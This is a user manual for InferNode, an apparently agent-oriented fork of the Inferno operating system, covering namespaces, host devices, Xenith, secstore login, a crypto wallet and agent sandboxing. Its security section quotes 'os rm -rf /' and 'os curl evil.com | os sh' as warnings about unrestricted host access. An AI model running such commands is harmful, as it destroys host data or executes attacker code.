A practical guide to using InferNode, the AI-agent-friendly operating system.
- What is InferNode?
- Heritage: Plan 9 → Inferno® → InferNode
- Core Philosophy
- The Namespace: Your Personal Universe
- Virtual Devices
- Accessing the Host OS
- The Shell Profile
- Working with Files
- Xenith: The Text Environment
- The Login Screen
- The Text Editor
- Wallet and Payments
- Security and AI Agent Isolation
- Common Tasks
- Troubleshooting
InferNode is an operating system designed for AI agents and the humans who work with them. It provides:
- A sandboxed environment where AI agents can work safely
- A text-first interface (Xenith) where everything is observable
- A filesystem-as-API model where programs communicate via files
- Network transparency via the 9P protocol
If you've used Unix, you'll find InferNode familiar. If you've used Plan 9, you'll feel at home. If you're an AI agent, you'll find an environment designed for you.
Plan 9 was the "sequel" to Unix, created by many of the same people (Ken Thompson, Rob Pike, Dennis Ritchie). Its key insight: everything is a file, taken seriously.
In Unix, "everything is a file" is a nice idea but inconsistent. Network sockets, process information, and devices all have special APIs.
In Plan 9, this philosophy is complete:
- Network connections are files (
/net/tcp/0/data) - Process state is files (
/proc/123/status) - The window system is files (
/dev/mouse,/dev/draw) - Even the keyboard is a file (
/dev/cons)
Inferno® took Plan 9's ideas and made them portable. Instead of running on bare hardware, Inferno® runs as a "hosted" OS on top of other operating systems (macOS, Linux, Windows) or on bare metal.
Key additions:
- Limbo - A safe, garbage-collected language (like Go's ancestor)
- Dis - A virtual machine that runs Limbo bytecode
- Styx/9P - The network protocol that makes filesystems shareable
InferNode is Inferno® rebuilt for the AI age:
- 64-bit support for modern hardware (ARM64, AMD64)
- Xenith - A text environment designed for AI-human collaboration
- SDL3 graphics - Modern GPU-accelerated rendering
- AI agent isolation - Namespace-based security for running untrusted agents
Programs don't use special APIs to communicate. They read and write files.
# Get the current time
cat /dev/time
# See running processes
ls /prog
# Read mouse position
cat /dev/pointerWant to control a window? Write to its control file:
echo 'delete' > /mnt/xenith/1/ctlWant to query an AI? Write to a file, read the response:
echo 'What is 2+2?' > /n/llm/ask
cat /n/llm/askNo SDKs. No libraries. No protocol buffers. Just files.
Every process has its own view of the filesystem. What you see at /n/web might not exist for another process. This is the foundation of security: you can't access what isn't in your namespace.
Everything is text when possible. Configuration, communication, data exchange—all text. This means:
- You can inspect anything with
cat - You can modify anything with
echo - You can script anything with shell pipelines
- AI agents can understand everything
The namespace is the most important concept in InferNode. It's your personal view of the filesystem.
In traditional operating systems, all processes see the same filesystem. If /usr/bin/python exists, everyone sees it.
In InferNode, each process has its own namespace—its own private filesystem view. Two processes can have completely different things at the same path.
Process A's view: Process B's view:
/ /
├── dev/ ├── dev/
├── n/ ├── n/
│ └── web/ ← exists │ └── (empty) ← doesn't exist
└── cmd/ ← exists └── (no cmd) ← can't run os
Namespaces start empty and are built up with bind and mount:
# Bind a device into the namespace
bind '#C' /cmd # Now /cmd exists
# Mount a network filesystem
mount 'tcp!server!564' /n/remote
# Bind one directory over another
bind -a /new/bin /dis # Add /new/bin after /dis in searchWhen you spawn a new process:
- Default: Child inherits parent's namespace
- FORKNS: Child gets a copy (changes don't affect parent)
- NEWNS: Child starts with empty namespace
This is how security works: spawn an AI agent with a restricted namespace, and it simply cannot access things outside that namespace.
# See what's mounted where
ns
# Bind device, add after existing contents
bind -a '#I' /net
# Bind device, add before existing contents
bind -b '#U' /
# Bind with creation allowed
bind -c '#C' /cmd
# Mount remote filesystem
mount -a 'tcp!192.168.1.1!564' /n/remote
# Unmount
unmount /n/remoteInferNode provides functionality through "virtual devices"—kernel-provided filesystems named with # followed by a letter.
| Device | Name | Purpose |
|---|---|---|
#C |
cmd | Execute host OS commands |
#U |
root | Access host filesystem |
#I |
ip | Network stack (TCP/IP) |
#p |
prog | Process information |
#c |
cons | Console I/O |
#m |
mnt | Mount driver |
The #C device lets you run commands on the host operating system:
# Bind the device (usually done in profile)
bind -a '#C' /
# Now you can use the 'os' command
os ls -la
os which python
os brew listSecurity Note: Any process with #C in its namespace can execute arbitrary host commands. Don't bind this for untrusted processes.
The #U device provides access to the host's filesystem:
# Mount entire host filesystem
bind '#U*' /n/local
# Now /n/local is your host's /
ls /n/local/usr/local/bin
cat /n/local/etc/hosts
# Mount a specific path
bind '#U*/Library/TeX' /n/texThe * means "root of host filesystem". Without it, #U mounts relative to Inferno®'s root.
# Initialize networking
bind -a '#I' /net
# Now you can make connections
# (usually done by programs, not manually)
ls /net/tcpDevices can be layered:
# Start with IP networking
bind -a '#I' /net
# Add host filesystem access
bind '#U*' /n/local
# Add command execution
bind -a '#C' /
# Mount a remote 9P server
mount 'tcp!fileserver!564' /n/remoteWhen running under the emulator (emu), InferNode can interact with the host operating system.
The os command executes programs on the host:
# Basic usage
os ls -la
os pwd
os whoami
# Get host's PATH
os printenv PATH
# Pipe data through host command
echo "teh quikc fox" | os aspell list
# Use full path if command not in PATH
os /Library/TeX/texbin/xelatex document.tex
# Run with different directory
os -d /tmp lsHost and Inferno paths are different. Use -t to translate:
# Without -t: passes Inferno path (won't work for most host tools)
os cat /n/local/etc/hosts # Host sees "/n/local/etc/hosts" - wrong!
# With -t: translates to host path
os -t cat /n/local/etc/hosts # Host sees "/etc/hosts" - correct!The os command inherits the PATH from whatever launched the emulator:
- From Terminal: Your shell's full PATH
- From macOS app bundle: Minimal launchd PATH (
/usr/bin:/bin:/usr/sbin:/sbin)
If tools like brew or /opt/homebrew/bin/* aren't found, either:
- Launch from Terminal instead of the app
- Use full paths:
os /opt/homebrew/bin/aspell list
Use #U to access host files directly from Inferno:
# Mount host filesystem
bind '#U*' /n/local
# Read a host file
cat /n/local/etc/hosts
# Write to a host file
echo 'hello' > /n/local/tmp/test.txt
# Copy between Inferno and host
cp /dis/sh /n/local/tmp/inferno-shell.disSpell-check in Xenith:
|os aspell list
Format Go code:
|os gofmt
Run LaTeX:
os /Library/TeX/texbin/xelatex mydocument.texUse GitHub CLI:
os gh pr list
os gh issue view 42When you start a login shell (sh -l), it runs /lib/sh/profile to set up your environment.
#!/dis/sh.dis
load std # Load standard shell builtins
path=(/dis .) # Command search path
user="{cat /dev/user} # Get username
mount -ac {mntgen} /n # Mount namespace generator
bind -a '#I' /net # Initialize networking
# Mount LLM if available
mount -A 'tcp!127.0.0.1!5640' /n/llm >[2] /dev/null
# Setup home directory from host
if {~ $emuhost MacOSX Linux}{
bind '#U*' /n/local
home=/n/local/^`{echo 'echo $HOME' | os sh}
}
# Create and bind tmp
bind -bc $home/tmp /tmp
cd $home # Start in home directory| Variable | Purpose | Example |
|---|---|---|
$path |
Command search path | /dis . |
$home |
Home directory | /n/local/Users/yourname |
$user |
Username | yourname |
$emuhost |
Host OS type | MacOSX, Linux |
Create $home/lib/profile for personal customizations:
# ~/lib/profile
# Personal InferNode configuration
# Add custom command directory
path=(/n/local/usr/local/bin $path)
# Aliases via shell functions
fn gst { os git status }
fn gd { os git diff }
# Set editor
EDITOR=xenithNote that the profile uses os sh to get $HOME. This means #C gets bound early. Any process that inherits this namespace (including Xenith) will have host command access.
Inferno path: /n/local/Users/yourname/Documents
Host path: /Users/yourname/Documents
The #U* device maps host paths into Inferno's namespace at whatever mount point you choose.
# List files
ls /dis
ls -l /n/local/tmp
# Read files
cat /dev/time
cat /n/local/etc/hosts
# Write files
echo 'hello' > /tmp/test.txt
# Copy files
cp source dest
cp /n/local/file.txt /tmp/
# Remove files
rm /tmp/test.txt
# Create directories
mkdir /tmp/newdir
mkdir -p /tmp/a/b/c# Word wrap to 80 columns
fmt -l 80 document.txt
# Count lines/words/chars
wc file.txt
# Sort lines
sort file.txt
# Find unique lines
uniq file.txt
# Search for patterns
grep pattern file.txtWhen Inferno tools aren't enough, pipe through the host:
# Use host's jq for JSON
cat data.json | os jq '.items[]'
# Use host's sed for complex substitution
cat file | os sed 's/old/new/g'
# Use host's python
echo 'print(2+2)' | os python3Xenith is InferNode's text environment—a fork of Acme designed for AI-human collaboration.
# From the command line
xenith
# With dark theme
xenith -t dark
# The macOS app bundle runs this automatically- Windows contain text (files, command output, scratch)
- Tag line at top of each window shows commands
- Mouse chording for selection and execution
- Everything is text that can be edited
| Button | Action |
|---|---|
| Left | Select text |
| Middle | Execute selection as command |
| Right | Search/open selection |
Click middle button on any word to execute it:
Put- Save fileDel- Delete windowNew- Create new windowLook- Search for selection
Select text, then middle-click on a pipe command:
|fmt -l 80 # Wrap selection to 80 columns
|os sort # Sort lines via host
|os aspell list # Spell check via host
<os date # Insert host's date
>output.txt # Write selection to file
Xenith exposes itself as a filesystem at /mnt/xenith/:
/mnt/xenith/
├── 1/ # Window 1
│ ├── body # Text content
│ ├── ctl # Control commands
│ ├── tag # Tag line
│ └── event # Event stream
├── 2/ # Window 2
│ └── ...
├── new # Create window (write to get id)
└── focus # Currently focused window
This is how AI agents interact with Xenith—by reading and writing files.
When InferNode boots with a GUI, the login screen (wm/logon) runs before the window manager. It handles secstore authentication and loads encrypted keys into factotum.
On first boot, no secstore account exists. The login screen prompts "First boot — choose a secstore password." You must enter the password twice to confirm (prevents typos on this critical password). After confirmation, the secstore account is created and boot proceeds. All keys added during the session (wallet keys, API keys, email credentials) are automatically saved to secstore.
The login screen prompts for your secstore password. On successful authentication (PAK protocol), all stored keys are loaded into factotum. The system then boots with all credentials available.
If the password is incorrect, the login screen stays up and shows the error with a choice: press Enter to try again, or Escape to continue without secstore. The Escape option warns that keys and secrets will not be available and AI integration may not work.
Press Escape twice to skip secstore unlock. The first press shows a warning ("Keys won't persist"), the second confirms. The system boots with an empty factotum — wallet accounts won't be available and API keys must be provisioned from environment variables. The Keyring and Settings apps will show that key persistence is inactive.
When no display is available (headless server, Jetson), set the SECSTORE_PASSWORD environment variable on the host before launching emu. The profile detects it and unlocks secstore automatically:
export SECSTORE_PASSWORD=mypassword
emu -r. sh -l -c "your_command"The login screen detects that keys are already loaded and skips the password prompt. If SECSTORE_PASSWORD is not set, factotum starts empty and keys must be provisioned via environment variables (e.g., ANTHROPIC_API_KEY).
Keys are encrypted with AES-256-GCM and stored in secstore at usr/inferno/secstore/<username>/. Back up this directory — there is no password recovery mechanism. If you forget your secstore password, the encrypted keys are permanently lost (this is by design, following Plan 9's security model).
The secstored service runs on TCP port 5356 and can serve keys to remote machines:
# On the remote machine (e.g., Jetson)
auth/factotum -S tcp!mac-ip!5356 -u username -P passwordAfter logging in, add API keys via the Keyring app (right-click desktop, select Keyring). Select "Add API Key", enter the service name (e.g., anthropic or brave), and the key value. Keys are stored in factotum and automatically persisted to secstore.
If no API key is configured when Veltro starts, it will display a guidance message directing you to the Keyring app.
InferNode includes a built-in text editor (wm/editor) with modern editing features and a 9P interface for agent integration.
# From the Inferno shell
editor /path/to/file
# From Lucifer (launches in presentation zone)
# Use the 'launch' or 'editor' Veltro tool| Shortcut | Action |
|---|---|
| Ctrl-Z | Undo |
| Ctrl-Y | Redo |
| Ctrl-F | Find |
| Ctrl-H | Find & Replace |
| Ctrl-S | Save |
| Ctrl-A | Select all / move to beginning of line |
| Ctrl-E | Move to end of line |
| Ctrl-K | Delete to end of line |
- Click — Position cursor
- Double-click — Select word
- Triple-click — Select line
- Click and drag — Select range
Press Ctrl-H to enter find & replace mode. The status bar shows the search prompt. Type the search term and press Enter. Then type the replacement and press Enter.
- Replace — Replaces the next occurrence (wraps around)
- Replace All — Replaces every occurrence in the document
The editor exposes a filesystem at /edit/ that Veltro agents can use to read and modify open documents:
# Open a file programmatically
echo 'open /appl/cmd/hello.b' > /edit/ctl
# Read document text
cat /edit/1/body
# Insert text at line 5, column 1
echo 'insert 5 1 # new comment' > /edit/1/ctl
# Find and replace all (tab-separated)
echo 'replaceall oldname newname' > /edit/1/ctl
# Jump to line 42
echo 'goto 42' > /edit/1/ctlSee docs/XENITH.md for the full IPC reference.
InferNode includes a native cryptocurrency wallet that enables both users and AI agents to manage accounts and make payments. Everything follows Plan 9 principles: wallet accounts are files, secrets live in factotum.
The wallet GUI app launches from Lucifer or the window manager:
# From Lucifer presentation zone (via Veltro)
# Or directly:
wm/walletwallet9p (the 9P server) starts automatically when needed.
From the GUI:
- Right-click → New Ethereum Account to create an account
- Right-click → Import Private Key to import an existing key
- Select an account to see its address and balance
- Use the network dropdown to switch between Ethereum Mainnet, Sepolia, Base, etc.
From the shell:
# Create an account
echo 'eth ethereum myaccount' > /n/wallet/new
# Check address
cat /n/wallet/myaccount/address
# Check balance
cat /n/wallet/myaccount/balance
# Switch network
echo 'network Base' > /n/wallet/ctlVeltro agents can use the wallet and payfetch tools:
wallet— List accounts, check balances, sign transactionspayfetch— HTTP client that automatically handles x402 payment flows
When a server returns HTTP 402 Payment Required, payfetch parses the payment requirements, checks the wallet budget, signs the authorization, and retries — all transparently.
Budget enforcement is server-side in wallet9p. Agents cannot bypass spending limits.
- Private keys live in factotum, never in wallet9p's memory
- Agents write a hash to
/n/wallet/{name}/signand read back a signature — the key never enters the agent's address space - Wallet access is namespace-gated: agents need explicit
"/n/wallet"in their capabilities /mnt/factotum/ctlis blocked by nsconstruct — agents never see raw keys
See docs/WALLET-AND-PAYMENTS.md for the full architecture, crypto primitives, and API reference.
InferNode's security model is simple: a process can only access what's in its namespace.
An AI agent running in a restricted namespace:
/
├── mnt/
│ └── xenith/ ← Can edit text
├── n/
│ └── llm/ ← Can query AI
└── tmp/ ← Can use temp files
Cannot access:
/cmd(no host command execution)#U(no host filesystem)/net(no network, unless explicitly granted)
# In Limbo code
sys->pctl(Sys->NEWNS, nil); # Start with empty namespace
# Only bind what the agent needs
sys->bind("/mnt/xenith", "/mnt/xenith", Sys->MREPL);
sys->bind("/tmp", "/tmp", Sys->MREPL|Sys->MCREATE);
If #C is bound, any process can execute host commands:
os rm -rf / # Catastrophic on host!
os curl evil.com | os sh # Remote code execution!For trusted users: This is convenient.
For AI agents: Don't bind #C in their namespace.
The default profile binds #C early (to get $HOME), so Xenith windows have full host access. This is fine when humans are in control.
For untrusted AI agents, you would:
- Create a new namespace
- Bind only safe resources
- Spawn the agent in that namespace
# Wrap prose to 70 columns (default)
fmt file.txt
# Wrap to specific width
fmt -l 80 file.txt
# In Xenith, select text and:
|fmt -l 80# List installed packages
os brew list
# Search for package (but ask user to install)
os brew search aspell
# On Linux
os apt list --installed
os dpkg -l | os grep vim# Check if networking is set up
ls /net
# Ping via host
os ping -c 3 google.com
# DNS lookup via host
os nslookup example.com
# HTTP fetch via host
os curl -s https://example.com# All git operations through host
os git status
os git add .
os git commit -m "message"
os git push
# GitHub CLI
os gh pr list
os gh issue create --title "Bug" --body "Description"InferNode prefers text, but when you must deal with JSON:
# Pretty print
cat data.json | os jq .
# Extract field
cat data.json | os jq '.name'
# Filter array
cat data.json | os jq '.items[] | select(.active)'# One-liner
echo 'print(2+2)' | os python3
# Run a script from host filesystem
os python3 /path/to/script.py
# Run a script accessible via Inferno path (with translation)
os -t python3 /n/local/path/to/script.py; somecommand
sh: somecommand: '/dis/somecommand' file does not existFor Inferno® commands: Check $path and /dis:
echo $path
ls /dis | grep somecommandFor host commands: Use os:
os somecommand
os which somecommandIf os which brew fails, the command isn't in the inherited PATH.
Solution 1: Use full path:
os /opt/homebrew/bin/brew listSolution 2: Launch emu from Terminal (not app bundle):
./emu/MacOSX/o.emu -r. sh -l -c 'xenith -t dark'; cat /cmd/clone
cat: can't open /cmd/clone: does not existThe #C device isn't bound. Either:
bind -a '#C' /Or this was intentional (restricted namespace).
; mount 'tcp!server!564' /n/remote
mount: ...Check:
- Is networking initialized?
ls /net - Is the server running?
- Is the port correct?
- Network path:
os ping server
; ls /n/llm
ls: /n/llm: does not existThe mount point doesn't exist in your namespace. Check what's mounted:
nsMount it if needed:
mount -A 'tcp!127.0.0.1!5640' /n/llm| Command | Purpose |
|---|---|
ls |
List files |
cat |
Display file contents |
echo |
Print text |
cp |
Copy files |
rm |
Remove files |
mkdir |
Create directory |
cd |
Change directory |
pwd |
Print working directory |
bind |
Bind namespace |
mount |
Mount filesystem |
ns |
Show namespace |
os |
Run host command |
| Path | Contents |
|---|---|
/dis |
Executable programs |
/dev |
Devices (console, mouse, etc.) |
/n |
Mount points |
/tmp |
Temporary files |
/prog |
Process information |
/net |
Network stack |
/cmd |
Host command interface |
/mnt/xenith |
Xenith 9P interface |
| Device | Purpose |
|---|---|
#C |
Host command execution |
#U |
Host filesystem |
#I |
IP networking |
#p |
Process info |
#c |
Console |
- Inferno® Documentation - Official docs, papers, guides
- Inferno® Manual Pages - Online man pages
- Powerman Inferno Mirror - Updated man pages and tutorials
- A Descent into Limbo - Limbo language tutorial by Brian Kernighan
- Plan 9 Programmer's Manual
- The Styx Architecture for Distributed Systems
- Structural Regular Expressions
- Awesome Inferno® - Curated resource list
This manual is a living document. Contributions welcome.